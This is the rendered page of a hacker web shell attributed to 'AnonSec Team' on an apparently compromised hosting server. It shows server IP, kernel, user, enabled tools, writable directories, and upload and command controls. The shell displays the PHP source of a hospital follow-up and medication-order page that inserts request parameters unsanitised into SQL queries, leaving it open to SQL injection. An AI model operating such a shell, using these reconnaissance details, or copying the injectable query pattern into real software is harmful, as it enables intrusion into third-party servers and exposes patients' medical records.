Mr.Fn4ticHz Shell
Server IP : 162.240.98.243  /  Your IP : 3.145.33.235
Web Server : Apache
System : Linux server.bti.yaw.mybluehostin.me 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User : btiyawmy ( 1003)
PHP Version : 7.2.34
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/btiyawmy/public_html/login.easenup.in/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /home/btiyawmy/public_html/login.easenup.in//finalfollow_up.php
<?php session_start();
include 'dbconnection.php';
require_once("../patientmanager.php");
require_once("../DBManager.php");
include 'header.php';
include 'dashboarddocument.php';
if(isset($_POST['sig'])) 
{
   PatientManager::RoutineInformation("$_GET[prescriptionid]","$_GET[patientid]","$_POST[Information_Obtained_from]","$_POST[Date_of_Operative_procedure]","$_POST[Time_of_Operative_procedure]","$_POST[name_Surgeon]","$_POST[Name_of_Anesthetist]","$_POST[Team]","$_POST[Pre_Operative_Diagnosis]","$_POST[Proposed_Surgery]","$_POST[Systemic_Disease]","$_POST[Systemic_Disease_note]","$_POST[Anesthesia_Events]","$_POST[Anesthesia_Events_note]","$_POST[ho_Operations]","$_POST[ho_Operations_note]","$_POST[Adverse_Drugs_Reaction]","$_POST[Adverse_Drugs_Reaction_note]","$_POST[DRUG_THERAPY]","$_POST[DRUG_THERAPY_note]","$_POST[WRITTEN_CONSENT]","$_POST[entered_by]");
}
?>
<!DOCTYPE html>
<html lang="en">
<head><meta charset="ibm866">
     <style>
.switch {
  position: relative;
  display: inline-block;
  width: 90px;
  height: 34px;
}

.switch input {display:none;}

.slider {
  position: absolute;
  cursor: pointer;
  top: 0;
  left: 0;
  right: 0;
  bottom: 0;
  background-color: #ca2222;
  -webkit-transition: .4s;
  transition: .4s;
   border-radius: 34px;
}

.slider:before {
  position: absolute;
  content: "";
  height: 26px;
  width: 26px;
  left: 4px;
  bottom: 4px;
  background-color: white;
  -webkit-transition: .4s;
  transition: .4s;
  border-radius: 50%;
}

input:checked + .slider {
  background-color: #2ab934;
}

input:focus + .slider {
  box-shadow: 0 0 1px #2196F3;
}

input:checked + .slider:before {
  -webkit-transform: translateX(26px);
  -ms-transform: translateX(26px);
  transform: translateX(55px);
}

/*------ ADDED CSS ---------*/
.slider:after
{
 content:'No';
 color: white;
 display: block;
 position: absolute;
 transform: translate(-50%,-50%);
 top: 50%;
 left: 50%;
 font-size: 10px;
 font-family: Verdana, sans-serif;
}

input:checked + .slider:after
{  
  content:'Yes';
}



.center {
   border: 1px solid grey;
   text-align:;
}

</style>
  
<meta name="viewport" content="width=device-width, initial-scale=1">
  <link rel="stylesheet" href="https://www.w3schools.com/w3css/4/w3.css">
  <title>Document</title>
<script>
function myFunction() {
  var checkBox = document.getElementById("myCheck");
  var text = document.getElementById("text");
  if (checkBox.checked == true){
    text.style.display = "block";
  } else {
     text.style.display = "none";
  }
}
function myFunction2() {
  var checkBox = document.getElementById("myCheck2");
  var text = document.getElementById("text2");
  if (checkBox.checked == true){
    text.style.display = "block";
  } else {
     text.style.display = "none";
  }
}
function myFunction3() {
  var checkBox = document.getElementById("myCheck3");
  var text = document.getElementById("text3");
  if (checkBox.checked == true){
    text.style.display = "block";
  } else {
     text.style.display = "none";
  }
}
function myFunction4() {
  var checkBox = document.getElementById("myCheck4");
  var text = document.getElementById("text4");
  if (checkBox.checked == true){
    text.style.display = "block";
  } else {
     text.style.display = "none";
  }
}


</script>
	<style>

.center {
   border: 1px solid grey;
   text-align:;
}
 </style>
   </head>
  <body>
 <div class="content-wrapper">
    <!-- Content Header (Page header) -->
    <section class="content-header">
    <form name="sig" method="post" >
               <h2 align="center">Follow up</h2>
    
               <br>
      
		<div class="center">
		    
		    <h3 align='center'>Instructions</h3>
      <table id="example2" class="table table-bordered table-hover">
          <tr><td><span style="font-size: 20px">Food Intake </span></h3></td><td width='50%'><textarea name="w3review" rows="2" cols="62">
</textarea>
</td>
</tr>
<tr><td width='50%'> <span style="font-size: 20px">Kindly Avoid </span></h3></td><td width='50%'><textarea name="w3review" rows="2" cols="62">
</textarea>
</td>
</tr> 
<tr><td width='50%'><span style="font-size: 20px">Kindly Follow </span></h3></td width='50%'><td><textarea name="w3review" rows="2" cols="62">
</textarea>
</td>



</tr> 
 </thead>
                  
                   </tbody>
  <tfoot>
          </tfoot>
        </table>   
        
          <h3 align='center'>Medication Order</h3>
      <table id="example2" class="table table-bordered table-hover">
         
         
         	<tr>
						    <th>Medication Details</th>
							<th>Action</th>
						</tr>
				
      
                  </thead>
<?php
include("dbconnection.php");
$sql ="SELECT * FROM medicinede WHERE patientid='$_GET[patientid]' AND prescriptionid='$_GET[prescriptionid]' AND status='Active'";
$qsql = mysqli_query($con,$sql);
while($rs = mysqli_fetch_array($qsql))
{
echo" <tr>";
 echo "<td>&nbsp;<b>Date & Time : </b>$rs[created_at]<br><b>Drug : </b>
 ";
 if (is_numeric($rs[DRUGS]))
{
$sql1 ="SELECT * FROM medicine_stok WHERE medicine_id='$rs[DRUGS]'";
$qsql1 = mysqli_query($con,$sql1);
while($rs1 = mysqli_fetch_array($qsql1))
echo"$rs1[DRUGS_name]";
}
else
{
    echo"$rs[DRUGS]";
    }
echo" <br><b>Dose : </b>$rs[Dose]<br><b>Route : </b>$rs[Route]<br>"; echo "<b>Frequency :</b> ";
	   
switch ($rs[Frequency]) {
  case '01':
    echo "OD (Once Daily)";
    break;
      case '2':
    echo "BID/b.i.d. (twice a day)";
    break;
     case '3':
    echo "TID/t.id. (three times a day)";
    break;
     case '04':
    echo "QID/q.i.d. (four times a day)";
    break;
     case '1':
    echo "QHS (every bedtime)";
    break;
    
     case '6':
    echo "Q4h (every 4 hours)";
    break;
    
     case '4':
    echo "Q4-6h (every 4 to 6 hours)";
    break;
    
     case '0.143':
    echo "QWK (every week)";
    break;
    
        default:
    echo "";
} echo"<br><b>Duration : </b> $rs[duration]   ";
	   
switch ($rs[durationselect]) {
  case '1':
    echo "Days";
    break;
      case '7':
    echo "Week";
    break;
case '28':
    echo "Month";
    break;

        default:
    echo "";
}
echo"
		   </td>";	

echo"

              		 <td>&nbsp;<a href='medication/$rs[potential]'>Edit</a>|<form method='post' action='opdset.php?prescriptionid=$rs[prescriptionid]&patientid=$rs[patientid]&id=$rs[id]' name='status'><input type='submit' name='status' Value='Remove'></form></td>
              					
          </tr>                   
          
          ";
}


?>  
         </table>  
         
         <table id="example2" class="table table-bordered table-hover">
             
             <tr>
                 <td width='50%'><span style="font-size: 20px">Follow up Visit : </span></td><td width='50%'><input type='date' name=''></td>
             </tr>
        </table>
</div>
<input type="submit" name="sig" value="Save">
</form>
</body>
</html> 

Anon7 - 2022
AnonSec Team